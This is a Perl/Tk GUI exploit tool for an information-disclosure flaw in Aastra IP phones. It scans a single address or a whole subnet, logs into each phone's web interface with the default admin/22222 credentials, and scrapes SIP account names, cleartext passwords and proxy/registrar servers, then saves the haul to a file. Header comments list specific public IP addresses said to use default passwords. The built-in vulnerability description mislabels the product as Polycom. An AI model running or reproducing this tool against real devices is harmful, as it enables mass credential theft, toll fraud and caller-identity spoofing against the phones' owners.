# perl
# --------------------------------------------------------
# LICENCE
# This software is under GNU GENERAL PUBLIC LICENSE
# The detail could be found in the file LICENCE include
# in the same directory than isme.pl
# --------------------------------------------------------
#63.99.26.26/27
#63.99.26.25 authentification avec password par défaut

use Tk; # http://search.cpan.org/~srezic/Tk/pod/UserGuide.pod
use Tk::Radiobutton;
use Tk::PNG;
use LWP::UserAgent;
use HTTP::Request;
use Net::Ping; # http://search.cpan.org/~smpeters/Net-Ping-2.36/lib/Net/Ping.pm
use Net::Netmask; # http://search.cpan.org/dist/Net-Netmask/
use Net::Subnets;

# Declaring functions for network analyzing stuff. Thus no argument passing for function. Its all full available variable.
$p=Net::Ping->new("icmp");

# Variable
my $ScanType = "single";
my $IpAddress = "";
my $IpAddress_single = "";
my $SubnetToScan = "";
my $Results = "";

my $subweb_mw = MainWindow->new(
						-title => 'Aastra IP Phone Information Disclosure Vulnerability');

my $menu_bar = $subweb_mw->Frame(
				-relief => 'groove',
				-borderwidth => 3,
				-width => 40,
				)-> pack(
					-side=>'top',
					-fill => 'x'
					);
my $file_mb = $menu_bar->Menubutton(
				-text => 'File',
				)->pack(-side=>'left');
$file_mb->command(
			-label=>"Vulnerability details",
			-command => sub {&EXPLANATION}
			);		
$file_mb->command(
		-label=>'Launch exploit',
		-command => 
			sub 
			{
				if ($ScanType =~ /single/)
				{
					&SINGLE;	
				}
				elsif ($ScanType =~ /scan/)
				{
					&EXPLOITSUBNET;
				}
				elsif ($ScanType =~ /specific/)
				{
					&SPECIFIC;
				}
			}
		);

$file_mb->command(
			-label=>"Save scan results",
			-command => sub {&SAVERESULTS}
			);
			
$file_mb->command(
	-label=>'Exit',
	-command => [$subweb_mw => 'destroy']
	);
		

#----------
my $FrameTOP = $subweb_mw -> Frame ();
my $rdb_scan = $FrameTOP  -> Radiobutton(-text=>"IP Subnet to scan with default login/password",
												-value=>"scan",
												-variable=>\$ScanType);
$rdb_scan -> pack (-side => 'left');
$FrameTOP -> pack (-side => 'top', -anchor => 'w');
#----------	
my $FrameMIDDLE1 = $subweb_mw -> Frame ();

$FrameMIDDLE1->Label(
	-text => 'Subnet (192.168.1.0/24):           '
	)->pack(-side => 'left');
my $TextLabel = $FrameMIDDLE1 -> Entry(
	-textvariable => \$SubnetToScan,
	- width => 54,
	)->pack(-side => 'left');
$FrameMIDDLE1 -> pack (-side => 'top', -anchor => 'w');

#----------	
my $FrameMIDDLE2 = $subweb_mw -> Frame ();
my $rdb_single = $FrameMIDDLE2 -> Radiobutton(-text=>"Single IP Phone to scan with default login/password",  
												-value=>"single",  
												-variable=>\$ScanType);
$rdb_single -> pack (-side => 'left');
$FrameMIDDLE2 -> pack (-side => 'top', -anchor => 'w');
#----------	
my $FrameMIDDLE3 = $subweb_mw -> Frame ();
$FrameMIDDLE3->Label(
	-text => 'IP Phone address (192.168.1.1):'
	)->pack(-side => 'left');
my $TextLabel_single = $FrameMIDDLE3 -> Entry(
	-textvariable => \$IpAddress_single,
	- width => 54,
	)->pack(-side => 'left');
$FrameMIDDLE3 -> pack (-side => 'top', -anchor => 'w');
#----------	
my $FrameMIDDLE7 = $subweb_mw -> Frame ();
my $rdb_single = $FrameMIDDLE7 -> Radiobutton(-text=>"Single IP Phone to scan with specific login/password",  
												-value=>"specific",  
												-variable=>\$ScanType);
$rdb_single -> pack (-side => 'left');
$FrameMIDDLE7 -> pack (-side => 'top', -anchor => 'w');
#----------	
my $FrameMIDDLE8 = $subweb_mw -> Frame ();
$FrameMIDDLE8->Label(
	-text => 'IP Phone address (192.168.1.1):'
	)->pack(-side => 'left');
my $TextLabel_single = $FrameMIDDLE8 -> Entry(
	-textvariable => \$IpAddress_spec,
	- width => 54,
	)->pack(-side => 'left');
$FrameMIDDLE8 -> pack (-side => 'top', -anchor => 'w');
#----------	
my $FrameMIDDLE9 = $subweb_mw -> Frame ();
$FrameMIDDLE9->Label(
	-text => 'IP Phone login:                          '
	)->pack(-side => 'left');
my $TextLabel_single = $FrameMIDDLE9 -> Entry(
	-textvariable => \$login_spec,
	- width => 54,
	)->pack(-side => 'left');
$FrameMIDDLE9 -> pack (-side => 'top', -anchor => 'w');
#----------	
my $FrameMIDDLE10 = $subweb_mw -> Frame ();
$FrameMIDDLE10->Label(
	-text => 'IP Phone password:                  '
	)->pack(-side => 'left');
my $TextLabel_single = $FrameMIDDLE10 -> Entry(
	-textvariable => \$password_spec,
	- width => 54,
	)->pack(-side => 'left');
$FrameMIDDLE10 -> pack (-side => 'top', -anchor => 'w');
#-------------
my $FrameMIDDLE4 = $subweb_mw -> Frame (-width => 40, -height => 20);

my $TextWidget = $FrameMIDDLE4  -> Text(); 
$TextWidget->configure(-height => 28);
my $scrollbar = $FrameMIDDLE4 ->Scrollbar(-command => ['yview', $TextWidget]);
$TextWidget->configure(-yscrollcommand => ['set', $scrollbar]);

$TextWidget->pack(-side => 'left', -fill => 'both', -expand => 1);
$scrollbar->pack(-side => 'right', -fill => 'y');
$FrameMIDDLE4 -> pack (-side => 'top', -anchor => 'w');
#-------------


#------------ LAUNCHING THE MAIN LOOP --------
&EXPLANATION;
MainLoop;
#------------ END OF THE GUI INTERFACE DEFINITION STUFF -------------------------------------

sub EXPLOITSUBNET
{
	# Subnet testing
	$Results = "";
	unlink ("temp.txt");
	$TextWidget -> delete('0.0', 'end');

	my $WebPage = "";
	my $CallerID_g = "";
	my $UserID_g = "";
	my $UserPassword_g = "";
	my $ProxyServer_g = "";
	my $RegistrarServer_g = "";
	my $UserID_line = "";
	my $UserPassword_line = "";
	my $UserServer_line = "";		
	
	if ($SubnetToScan =~ /[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}\/[0-9]{1,2}/)
	{		
		#---- Creating a table with all the IP adresses -------
		my $sn = Net::Subnets->new;
	   	my ( $lowipref, $highipref ) = $sn->range( \$SubnetToScan );
	    my $lowIP = $$lowipref;
		my $highIP = $$highipref;
		my $listref = $sn->list( \( $lowIP, $highIP ) );
		
		$TextWidget -> insert ("end", "-------------------------------------------------------------------------------\n");			
	    $TextWidget -> insert ("end","Launch exploit\n");
		$TextWidget -> insert ("end", "-------------------------------------------------------------------------------\n");		
		$TextWidget  -> update ();	
		$TextWidget  -> see ('end');
		$Results = $Results."-------------------------------------------------------------------------------\n";	
		$Results = $Results."Launch exploit\n";	
		$Results = $Results."-------------------------------------------------------------------------------\n";
						
		foreach my $scan_address ( @{ $listref } ) 
		{
			# Initialization.
			$IpAddress = $scan_address;		

			if ($p->ping($IpAddress)) 
			{	
				my $URL_g = "http://".$IpAddress."/globalSIPsettings.html";
				my $URL_line = "http://".$IpAddress."/SIPsettingsLine1.html";
				
				
				my $agent = LWP::UserAgent->new(env_proxy => 1,keep_alive => 1, timeout => 30);

				my $header_g = HTTP::Request->new(GET => $URL_g);
				$header_g->authorization_basic('admin', '22222');
				my $request_g = HTTP::Request->new ('GET', $URL_g, $header_g);
				my $response_g = $agent->request($request_g);

				my $header_line = HTTP::Request->new(GET => $URL_line);
				$header_line->authorization_basic('admin', '22222');
				my $request_line = HTTP::Request->new ('GET', $URL_line, $header_line);
				my $response_line = $agent->request($request_line);
							
				# Check the outcome of the response
				if ($response_g->is_success)
				{
					$WebPage = $response_g->as_string;
					# i know the method is not optimize, but i did not success otherwise ...
					open FILE, ">temp.txt";
					print FILE $WebPage;
					close FILE;
					open FILE2, "temp.txt";

					while (<FILE2>) 
					{
						my $line = $_;
						if ($line =~ /dispName/)
				    	{
							my @splitAnalyze= split (/["]/, $line);
							$CallerID_g = @splitAnalyze[3];
						}
						if ($line =~ /Authentication Name/)
				    	{
							my @splitAnalyze= split (/["]/, $line);
							$UserID_g = @splitAnalyze[3];
						}
						if ($line =~ /<input name="password" type="password"/)
				    	{
							my @splitAnalyze= split (/["]/, $line);
							$UserPassword_g = @splitAnalyze[5];
						}
						if ($line =~ /proxyIp/)
				    	{
							my @splitAnalyze= split (/["]/, $line);
							$ProxyServer_g = @splitAnalyze[3];
						}				
						if ($line =~ /regIp/)
				    	{
							my @splitAnalyze= split (/["]/, $line);
							$RegistrarServer_g = @splitAnalyze[3];
						}						
					}
					close FILE2;
					unlink ("temp.txt");

					$WebPage_line = $response_line->as_string;
					# i know the method is not optimize, but i did not success otherwise ...
					open FILE, ">temp.txt";
					print FILE $WebPage_line;
					close FILE;
					open FILE2, "temp.txt";
					while (<FILE2>) 
					{
						my $line = $_;
						if ($line =~ /Authentication Name/)
				    	{
							my @splitAnalyze= split (/["]/, $line);
							$UserID_line = @splitAnalyze[3];
						}
						if ($line =~ /<input name="password" type="password"/)
				    	{
							my @splitAnalyze= split (/["]/, $line);
							$UserPassword_line = @splitAnalyze[5];
						}
						if ($line =~ /proxyIp/)
				    	{
							my @splitAnalyze= split (/["]/, $line);
							$UserServer_line = @splitAnalyze[3];
						}							
					}

					$TextWidget -> insert ("end","Aastra phone IP address:$IpAddress\n");			
				    $TextWidget -> insert ("end","global SIP parameters:\n");					
				    $TextWidget -> insert ("end","   Caller ID: $CallerID_g\n");
				    $TextWidget -> insert ("end","   Authentication name:$UserID_g\n");
				    $TextWidget -> insert ("end","   Password: $UserPassword_g\n");
				    $TextWidget -> insert ("end","   Proxy server: $ProxyServer_g\n");
				    $TextWidget -> insert ("end","   Registrar server: $RegistrarServer_g\n");				    
				    $TextWidget -> insert ("end","SIP line (1) parameters:\n");					
				    $TextWidget -> insert ("end","   Authentication name:$UserID_line\n");
				    $TextWidget -> insert ("end","   Password: $UserPassword_line\n");
				    $TextWidget -> insert ("end","   Proxy server: $UserServer_line\n");
				    		    
					$TextWidget -> insert ("end", "-------------------------------------------------------------------------------\n");
					$TextWidget  -> update ();	
					$TextWidget  -> see ('end');
					$Results = $Results."Aastra phone IP address:$IpAddress\n";	
					$Results = $Results."global SIP parameters:\n";	
					$Results = $Results."   Authentication name:$UserID_g\n";
					$Results = $Results."   Password: $UserPassword_g\n";
					$Results = $Results."   Proxy server: $UserServer_g\n";	
					$Results = $Results."SIP line (1) parameters:\n";	
					$Results = $Results."   Authentication name:$UserID_line\n";
					$Results = $Results."   Password: $UserPassword_line\n";
					$Results = $Results."   Proxy server: $UserServer_line\n";	
					$Results = $Results."-------------------------------------------------------------------------------\n";
				}
				elsif ($response_g->is_error)
				{
				    $TextWidget -> insert ("end","Aastra phone IP address:$IpAddress\n");
				    $TextWidget -> insert ("end","Error: Unable to get web page.\n");
				    $TextWidget -> insert ("end","$response->error_as_HTML\n");
					$TextWidget -> insert ("end", "-------------------------------------------------------------------------------\n");
					$TextWidget  -> update ();	
					$TextWidget  -> see ('end');
					$Results = $Results."Aastra phone IP address:$IpAddress\n";	
					$Results = $Results."Error: Unable to get web page.\n";
					$Results = $Results."$response->error_as_HTML\n";
					$Results = $Results."-------------------------------------------------------------------------------\n";					
				}	
	    	}
	    	else
	    	{
				$TextWidget -> insert ("end", "Unable to ping Phone Ip address: $IpAddress\n");
				$TextWidget -> insert ("end", "-------------------------------------------------------------------------------\n");
				$TextWidget  -> update ();	
				$TextWidget  -> see ('end');	    	
				$Results = $Results."Unable to ping Phone Ip address: $IpAddress\n";	    	
				$Results = $Results."-------------------------------------------------------------------------------\n";	    	

	    	}
	    }
	    $TextWidget -> insert ("end","END\n");
		$TextWidget -> insert ("end", "-------------------------------------------------------------------------------\n");	
		$TextWidget  -> update ();	
		$TextWidget  -> see ('end');
		$Results = $Results."END\n";
		$Results = $Results."-------------------------------------------------------------------------------\n";
	}
	else
	{
		$subweb_mw->Dialog(-title => 'WARNING', 	
						-text => 'Bad IP Subnet syntax !',
					)->Show( );
   	}
}

sub SPECIFIC
{
	# Subnet testing
	$Results = "";
	unlink ("temp.txt");
	$TextWidget -> delete('0.0', 'end');

	my $WebPage = "";
	my $CallerID_g = "";
	my $UserID_g = "";
	my $UserPassword_g = "";
	my $ProxyServer_g = "";
	my $RegistrarServer_g = "";
	my $UserID_line = "";
	my $UserPassword_line = "";
	my $UserServer_line = "";		
	

		
	if ($IpAddress_spec =~ /[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}/)
	{		
		#---- Creating a table with all the IP adresses -------
		my $IpAddress_sub=$IpAddress_spec."/32";
				
		my $sn = Net::Subnets->new;
	   	my ( $lowipref, $highipref ) = $sn->range( \$IpAddress_sub );
	    my $lowIP = $$lowipref;
		my $highIP = $$highipref;
		my $listref = $sn->list( \( $lowIP, $highIP ) );
		
		$TextWidget -> insert ("end", "-------------------------------------------------------------------------------\n");			
	    $TextWidget -> insert ("end","Launch exploit\n");
		$TextWidget -> insert ("end", "-------------------------------------------------------------------------------\n");		
		$TextWidget  -> update ();	
		$TextWidget  -> see ('end');
		$Results = $Results."-------------------------------------------------------------------------------\n";	
		$Results = $Results."Launch exploit\n";	
		$Results = $Results."-------------------------------------------------------------------------------\n";
						
		foreach my $scan_address ( @{ $listref } ) 
		{
			# Initialization.
			$IpAddress = $scan_address;		

			if ($p->ping($IpAddress)) 
			{	
				my $URL_g = "http://".$IpAddress."/globalSIPsettings.html";
				my $URL_line = "http://".$IpAddress."/SIPsettingsLine1.html";
				
				
				my $agent = LWP::UserAgent->new(env_proxy => 1,keep_alive => 1, timeout => 30);

				my $header_g = HTTP::Request->new(GET => $URL_g);
				$header_g->authorization_basic($login_spec, $password_spec);
				my $request_g = HTTP::Request->new ('GET', $URL_g, $header_g);
				my $response_g = $agent->request($request_g);

				my $header_line = HTTP::Request->new(GET => $URL_line);
				$header_line->authorization_basic('admin', '22222');
				my $request_line = HTTP::Request->new ('GET', $URL_line, $header_line);
				my $response_line = $agent->request($request_line);
							
				# Check the outcome of the response
				if ($response_g->is_success)
				{
					$WebPage = $response_g->as_string;
					# i know the method is not optimize, but i did not success otherwise ...
					open FILE, ">temp.txt";
					print FILE $WebPage;
					close FILE;
					open FILE2, "temp.txt";

					while (<FILE2>) 
					{
						my $line = $_;
						if ($line =~ /dispName/)
				    	{
							my @splitAnalyze= split (/["]/, $line);
							$CallerID_g = @splitAnalyze[3];
						}
						if ($line =~ /Authentication Name/)
				    	{
							my @splitAnalyze= split (/["]/, $line);
							$UserID_g = @splitAnalyze[3];
						}
						if ($line =~ /<input name="password" type="password"/)
				    	{
							my @splitAnalyze= split (/["]/, $line);
							$UserPassword_g = @splitAnalyze[5];
						}
						if ($line =~ /proxyIp/)
				    	{
							my @splitAnalyze= split (/["]/, $line);
							$ProxyServer_g = @splitAnalyze[3];
						}				
						if ($line =~ /regIp/)
				    	{
							my @splitAnalyze= split (/["]/, $line);
							$RegistrarServer_g = @splitAnalyze[3];
						}						
					}
					close FILE2;
					unlink ("temp.txt");

					$WebPage_line = $response_line->as_string;
					# i know the method is not optimize, but i did not success otherwise ...
					open FILE, ">temp.txt";
					print FILE $WebPage_line;
					close FILE;
					open FILE2, "temp.txt";
					while (<FILE2>) 
					{
						my $line = $_;
						if ($line =~ /Authentication Name/)
				    	{
							my @splitAnalyze= split (/["]/, $line);
							$UserID_line = @splitAnalyze[3];
						}
						if ($line =~ /<input name="password" type="password"/)
				    	{
							my @splitAnalyze= split (/["]/, $line);
							$UserPassword_line = @splitAnalyze[5];
						}
						if ($line =~ /proxyIp/)
				    	{
							my @splitAnalyze= split (/["]/, $line);
							$UserServer_line = @splitAnalyze[3];
						}							
					}

					$TextWidget -> insert ("end","Aastra phone IP address:$IpAddress\n");			
				    $TextWidget -> insert ("end","global SIP parameters:\n");					
				    $TextWidget -> insert ("end","   Caller ID: $CallerID_g\n");
				    $TextWidget -> insert ("end","   Authentication name:$UserID_g\n");
				    $TextWidget -> insert ("end","   Password: $UserPassword_g\n");
				    $TextWidget -> insert ("end","   Proxy server: $ProxyServer_g\n");
				    $TextWidget -> insert ("end","   Registrar server: $RegistrarServer_g\n");				    
				    $TextWidget -> insert ("end","SIP line (1) parameters:\n");					
				    $TextWidget -> insert ("end","   Authentication name:$UserID_line\n");
				    $TextWidget -> insert ("end","   Password: $UserPassword_line\n");
				    $TextWidget -> insert ("end","   Proxy server: $UserServer_line\n");
				    		    
					$TextWidget -> insert ("end", "-------------------------------------------------------------------------------\n");
					$TextWidget  -> update ();	
					$TextWidget  -> see ('end');
					$Results = $Results."Aastra phone IP address:$IpAddress\n";	
					$Results = $Results."global SIP parameters:\n";	
					$Results = $Results."   Authentication name:$UserID_g\n";
					$Results = $Results."   Password: $UserPassword_g\n";
					$Results = $Results."   Proxy server: $UserServer_g\n";	
					$Results = $Results."SIP line (1) parameters:\n";	
					$Results = $Results."   Authentication name:$UserID_line\n";
					$Results = $Results."   Password: $UserPassword_line\n";
					$Results = $Results."   Proxy server: $UserServer_line\n";	
					$Results = $Results."-------------------------------------------------------------------------------\n";
				}
				elsif ($response_g->is_error)
				{
				    $TextWidget -> insert ("end","Aastra phone IP address:$IpAddress\n");
				    $TextWidget -> insert ("end","Error: Unable to get web page.\n");
				    $TextWidget -> insert ("end","$response->error_as_HTML\n");
					$TextWidget -> insert ("end", "-------------------------------------------------------------------------------\n");
					$TextWidget  -> update ();	
					$TextWidget  -> see ('end');
					$Results = $Results."Aastra phone IP address:$IpAddress\n";	
					$Results = $Results."Error: Unable to get web page.\n";
					$Results = $Results."$response->error_as_HTML\n";
					$Results = $Results."-------------------------------------------------------------------------------\n";					
				}	
	    	}
	    	else
	    	{
				$TextWidget -> insert ("end", "Unable to ping Phone Ip address: $IpAddress\n");
				$TextWidget -> insert ("end", "-------------------------------------------------------------------------------\n");
				$TextWidget  -> update ();	
				$TextWidget  -> see ('end');	    	
				$Results = $Results."Unable to ping Phone Ip address: $IpAddress\n";	    	
				$Results = $Results."-------------------------------------------------------------------------------\n";	    	

	    	}
	    }
	    $TextWidget -> insert ("end","END\n");
		$TextWidget -> insert ("end", "-------------------------------------------------------------------------------\n");	
		$TextWidget  -> update ();	
		$TextWidget  -> see ('end');
		$Results = $Results."END\n";
		$Results = $Results."-------------------------------------------------------------------------------\n";
	}
	else
	{
		$subweb_mw->Dialog(-title => 'WARNING', 	
						-text => 'Bad IP Subnet syntax !',
					)->Show( );
   	}
}

sub SINGLE
{
	# Subnet testing
	$Results = "";
	unlink ("temp.txt");
	$TextWidget -> delete('0.0', 'end');

	my $WebPage = "";
	my $CallerID_g = "";
	my $UserID_g = "";
	my $UserPassword_g = "";
	my $ProxyServer_g = "";
	my $RegistrarServer_g = "";
	my $UserID_line = "";
	my $UserPassword_line = "";
	my $UserServer_line = "";		
	
	if ($IpAddress_single =~ /[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}/)
	{
		
		my $IpAddress_sub=$IpAddress_single."/32";
				
		#---- Creating a table with all the IP adresses -------
		my $sn = Net::Subnets->new;
	   	my ( $lowipref, $highipref ) = $sn->range( \$IpAddress_sub );
	    my $lowIP = $$lowipref;
		my $highIP = $$highipref;
		my $listref = $sn->list( \( $lowIP, $highIP ) );
		
		$TextWidget -> insert ("end", "-------------------------------------------------------------------------------\n");			
	    $TextWidget -> insert ("end","Launch exploit\n");
		$TextWidget -> insert ("end", "-------------------------------------------------------------------------------\n");		
		$TextWidget  -> update ();	
		$TextWidget  -> see ('end');
		$Results = $Results."-------------------------------------------------------------------------------\n";	
		$Results = $Results."Launch exploit\n";	
		$Results = $Results."-------------------------------------------------------------------------------\n";
						
		foreach my $scan_address ( @{ $listref } ) 
		{
			# Initialization.
			$IpAddress = $scan_address;		

			if ($p->ping($IpAddress)) 
			{	
				my $URL_g = "http://".$IpAddress."/globalSIPsettings.html";
				my $URL_line = "http://".$IpAddress."/SIPsettingsLine1.html";
				
				
				my $agent = LWP::UserAgent->new(env_proxy => 1,keep_alive => 1, timeout => 30);

				my $header_g = HTTP::Request->new(GET => $URL_g);
				$header_g->authorization_basic('admin', '22222');
				my $request_g = HTTP::Request->new ('GET', $URL_g, $header_g);
				my $response_g = $agent->request($request_g);

				my $header_line = HTTP::Request->new(GET => $URL_line);
				$header_line->authorization_basic('admin', '22222');
				my $request_line = HTTP::Request->new ('GET', $URL_line, $header_line);
				my $response_line = $agent->request($request_line);
							
				# Check the outcome of the response
				if ($response_g->is_success)
				{
					$WebPage = $response_g->as_string;
					# i know the method is not optimize, but i did not success otherwise ...
					open FILE, ">temp.txt";
					print FILE $WebPage;
					close FILE;
					open FILE2, "temp.txt";

					while (<FILE2>) 
					{
						my $line = $_;
						if ($line =~ /dispName/)
				    	{
							my @splitAnalyze= split (/["]/, $line);
							$CallerID_g = @splitAnalyze[3];
						}
						if ($line =~ /Authentication Name/)
				    	{
							my @splitAnalyze= split (/["]/, $line);
							$UserID_g = @splitAnalyze[3];
						}
						if ($line =~ /<input name="password" type="password"/)
				    	{
							my @splitAnalyze= split (/["]/, $line);
							$UserPassword_g = @splitAnalyze[5];
						}
						if ($line =~ /proxyIp/)
				    	{
							my @splitAnalyze= split (/["]/, $line);
							$ProxyServer_g = @splitAnalyze[3];
						}				
						if ($line =~ /regIp/)
				    	{
							my @splitAnalyze= split (/["]/, $line);
							$RegistrarServer_g = @splitAnalyze[3];
						}						
					}
					close FILE2;
					unlink ("temp.txt");

					$WebPage_line = $response_line->as_string;
					# i know the method is not optimize, but i did not success otherwise ...
					open FILE, ">temp.txt";
					print FILE $WebPage_line;
					close FILE;
					open FILE2, "temp.txt";
					while (<FILE2>) 
					{
						my $line = $_;
						if ($line =~ /Authentication Name/)
				    	{
							my @splitAnalyze= split (/["]/, $line);
							$UserID_line = @splitAnalyze[3];
						}
						if ($line =~ /<input name="password" type="password"/)
				    	{
							my @splitAnalyze= split (/["]/, $line);
							$UserPassword_line = @splitAnalyze[5];
						}
						if ($line =~ /proxyIp/)
				    	{
							my @splitAnalyze= split (/["]/, $line);
							$UserServer_line = @splitAnalyze[3];
						}							
					}

					$TextWidget -> insert ("end","Aastra phone IP address:$IpAddress\n");			
				    $TextWidget -> insert ("end","global SIP parameters:\n");					
				    $TextWidget -> insert ("end","   Caller ID: $CallerID_g\n");
				    $TextWidget -> insert ("end","   Authentication name:$UserID_g\n");
				    $TextWidget -> insert ("end","   Password: $UserPassword_g\n");
				    $TextWidget -> insert ("end","   Proxy server: $ProxyServer_g\n");
				    $TextWidget -> insert ("end","   Registrar server: $RegistrarServer_g\n");				    
				    $TextWidget -> insert ("end","SIP line (1) parameters:\n");					
				    $TextWidget -> insert ("end","   Authentication name:$UserID_line\n");
				    $TextWidget -> insert ("end","   Password: $UserPassword_line\n");
				    $TextWidget -> insert ("end","   Proxy server: $UserServer_line\n");
				    		    
					$TextWidget -> insert ("end", "-------------------------------------------------------------------------------\n");
					$TextWidget  -> update ();	
					$TextWidget  -> see ('end');
					$Results = $Results."Aastra phone IP address:$IpAddress\n";	
					$Results = $Results."global SIP parameters:\n";	
					$Results = $Results."   Authentication name:$UserID_g\n";
					$Results = $Results."   Password: $UserPassword_g\n";
					$Results = $Results."   Proxy server: $UserServer_g\n";	
					$Results = $Results."SIP line (1) parameters:\n";	
					$Results = $Results."   Authentication name:$UserID_line\n";
					$Results = $Results."   Password: $UserPassword_line\n";
					$Results = $Results."   Proxy server: $UserServer_line\n";	
					$Results = $Results."-------------------------------------------------------------------------------\n";
				}
				elsif ($response_g->is_error)
				{
				    $TextWidget -> insert ("end","Aastra phone IP address:$IpAddress\n");
				    $TextWidget -> insert ("end","Error: Unable to get web page.\n");
				    $TextWidget -> insert ("end","$response->error_as_HTML\n");
					$TextWidget -> insert ("end", "-------------------------------------------------------------------------------\n");
					$TextWidget  -> update ();	
					$TextWidget  -> see ('end');
					$Results = $Results."Aastra phone IP address:$IpAddress\n";	
					$Results = $Results."Error: Unable to get web page.\n";
					$Results = $Results."$response->error_as_HTML\n";
					$Results = $Results."-------------------------------------------------------------------------------\n";					
				}	
	    	}
	    	else
	    	{
				$TextWidget -> insert ("end", "Unable to ping Phone Ip address: $IpAddress\n");
				$TextWidget -> insert ("end", "-------------------------------------------------------------------------------\n");
				$TextWidget  -> update ();	
				$TextWidget  -> see ('end');	    	
				$Results = $Results."Unable to ping Phone Ip address: $IpAddress\n";	    	
				$Results = $Results."-------------------------------------------------------------------------------\n";	    	

	    	}
	    }
	    $TextWidget -> insert ("end","END\n");
		$TextWidget -> insert ("end", "-------------------------------------------------------------------------------\n");	
		$TextWidget  -> update ();	
		$TextWidget  -> see ('end');
		$Results = $Results."END\n";
		$Results = $Results."-------------------------------------------------------------------------------\n";
	}
	else
	{
		$subweb_mw->Dialog(-title => 'WARNING', 	
						-text => 'Bad IP Subnet syntax !',
					)->Show( );
   	}
}

sub EXPLANATION
{
	$TextWidget -> delete('0.0', 'end');
	$TextWidget -> insert ("end", "-------------------------------------------------------------------------------\n");
	$TextWidget -> insert ("end", "Vulnerability: Polycom IP Phone Web Interface Data Diclosure Vulnerability\n");
	$TextWidget -> insert ("end", "OSVDB-ID: 72941	\n");
	$TextWidget -> insert ("end", "EDB-ID: 17376 \n");	
	$TextWidget -> insert ("end", "Date: 08/06/2011\n");
	$TextWidget -> insert ("end", "Author: Yakir Wizman\n");
	$TextWidget -> insert ("end", "Website Link: http://www.aastra.com\n");
	$TextWidget -> insert ("end", "Tested on Version: 55i, 6757i, 9143i, 9480i\n");
	$TextWidget -> insert ("end", "Patch: unknown\n\n");
	$TextWidget -> insert ("end", "DATA DISCLOSURE:\n");
	$TextWidget -> insert ("end", "The data disclosure vulnerability has been found in the section of 'Global SIP'\n");
	$TextWidget -> insert ("end", "of Aastra IP Phone software. The vulnerability allows the attacker to disclose\n");
	$TextWidget -> insert ("end", "the password of the SIP profile that is used to connect to ISP or PBX.\n");
	$TextWidget -> insert ("end", "To exploit the vulnerability and diclose the data we need to access the web GUI\n");
	$TextWidget -> insert ("end", "by through this url http://address/globalSIPsettings.html, or this one \n");
	$TextWidget -> insert ("end", "http://address/SIPsettingsLine1.html. we now have Caller ID, Authentication, \n");
	$TextWidget -> insert ("end", "Name, and Password. By editing the source code, we are able to see account \n");
	$TextWidget -> insert ("end", "name, password and SIP registrar fields in clear.\n");
	$TextWidget -> insert ("end", "All the needed information to sppof the identity of the user are available ...\n\n");
	$TextWidget -> insert ("end", "WORKAROUND\n");
	$TextWidget -> insert ("end", "Disable the web interfaces as soon as possible.\n");
	$TextWidget -> insert ("end", "Change default passwords.\n");
	$TextWidget -> insert ("end", "Keep IP Address private (public networks are to avoid)\n");
	$TextWidget -> insert ("end", "-------------------------------------------------------------------------------\n");
	$TextWidget  -> update ();	
	$TextWidget  -> see ('end'); 		
}

sub SAVERESULTS
{
	my $FileToSave = $subweb_mw->getSaveFile(
							-defaultextension => '.txt',
                            -initialdir => "user_data"
                              );

	open (TOSAVE, ">>$FileToSave");
	print TOSAVE $Results;
	close (TOSAVE);
	
}	
